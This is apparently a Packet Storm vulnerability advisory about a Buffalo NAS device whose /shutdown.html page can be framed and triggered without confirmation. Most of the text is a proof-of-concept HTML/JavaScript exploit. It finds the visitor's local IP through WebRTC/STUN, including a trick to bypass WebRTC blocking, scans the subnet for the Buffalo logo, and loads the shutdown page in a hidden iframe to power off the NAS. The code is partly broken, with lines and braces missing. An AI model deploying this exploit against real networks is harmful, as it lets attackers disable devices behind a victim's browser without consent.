Buffalo NAS Remote Shutdown

Type packetstorm
Reporter Zemnmez
Modified 2016-01-25T00:00:00


                                            `The Buffalo NAS device includes a web interface located at its IP address. A shutdown of the device can be initiated without confirmation by loading the endpoint /shutdown.html on this address. This shutdown powers off the device, requiring physical access to restart.  
The shutdown webpage has no special X-Frame-Options set on it, allowing an attacker with the right knowledge to remotely disable the device through an iframe that an admin on the device loads.  
I have demonstrated shutting down such a device remotely using STUN to locate the local IP address of the user and iterating on that IP address by requesting the Buffalo logo from these IP addresses. In the case where the user has recently accessed their NAS configuration panel, the logo loads instantly (from cache) and fires the onload event, which in turn triggers an iframe embed which shuts down the device.  
Code: https://gist.github.com/venoms/5b5437e25e0bf3b49d0a  
In short, the above code will scan for and remotely shutdown all vulnerable Buffalo NAS-s the viewer is authorized to configure in their local network.  
Thanks to Nathaniel "XMPPWocky" Theis for helping me streamline this exploit.  
buffaloNASshutdown.html PoC:  
<title>buffalo nas shutdown</title>  
<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>  
<div id="output"></div>  
var output = document.getElementById("output");  
//stolen from https://github.com/diafygi/webrtc-ips  
//under the MIT license  
//get the IP addresses associated with an account  
function getIPs(callback){  
var ip_dups = {};  
//compatibility for firefox and chrome  
var RTCPeerConnection = window.RTCPeerConnection  
|| window.mozRTCPeerConnection  
|| window.webkitRTCPeerConnection;  
var useWebKit = !!window.webkitRTCPeerConnection;  
//bypass naive webrtc blocking using an iframe  
//NOTE: you need to have an iframe in the page right above the script tag  
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>  
//<script>...getIPs called in here...  
var win = iframe.contentWindow;  
RTCPeerConnection = win.RTCPeerConnection  
|| win.mozRTCPeerConnection  
|| win.webkitRTCPeerConnection;  
useWebKit = !!win.webkitRTCPeerConnection;  
//minimal requirements for data connection  
var mediaConstraints = {  
optional: [{RtpDataChannels: true}]  
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};  
//construct a new RTCPeerConnection  
var pc = new RTCPeerConnection(servers, mediaConstraints);  
function handleCandidate(candidate){  
//match just the IP address  
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/  
var ip_addr = ip_regex.exec(candidate)[1];  
//remove duplicates  
if(ip_dups[ip_addr] === undefined)  
ip_dups[ip_addr] = true;  
//listen for candidate events  
pc.onicecandidate = function(ice){  
//skip non-candidate events  
//create a bogus data channel  
//create an offer sdp  
//trigger the stun server request  
pc.setLocalDescription(result, function(){}, function(){});  
}, function(){});  
//wait for a while to let everything done  
//read candidate info from local description  
var lines = pc.localDescription.sdp.split('\n');  
if(line.indexOf('a=candidate:') === 0)  
}, 1000);  
function foundNAS(ip) {  
output.innerText += "Bingo! NAS at " + ip + "\n";  
var i = document.createElement("iframe");  
i.setAttribute("style", "display:none");  
i.setAttribute("src", "http://" + ip + "/shutdown.html");  
output.innerText += "Shutting it down now... This will fail if you're not logged in."  
var groupSize = 50;  
//Using STUN, we locate the local ip address of the user  
// we make sensible guesses that the NAS is in the same simple local network  
//local IPs  
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) {  
output.innerText += "Found IP " + ip + "\n"  
// shotgun this ip  
var pre = /^([\d\.]+\.)\d+$/.exec(ip)[1];  
output.innerText += "Searching " + pre + "*\n"  
var i = 0, ed = 0;  
//try a block of 50 NAS guesses  
var sweep = function() {  
ed = i + groupSize  
var donect = 0;  
var done = function() {  
donect += 1;  
if (i > 253) return;  
if (donect == groupSize) sweep();  
output.innerText += "Searching " + pre + i + "-" + ed + "\n"  
for(;i<ed;i++) {  
var el = document.createElement("img");  
var n = i;  
el.setAttribute("style", "width:1em; height:1em;display:inline;border:1px solid red");  
// logo loaded; must be NAS  
el.addEventListener("load", function(){  
this.setAttribute("style", "display:block");  
// logo did not load; not NAS  
el.addEventListener("error", function() {  
el.setAttribute("src", "http://" + pre + i + "/img/common/forlink/header-logo.gif");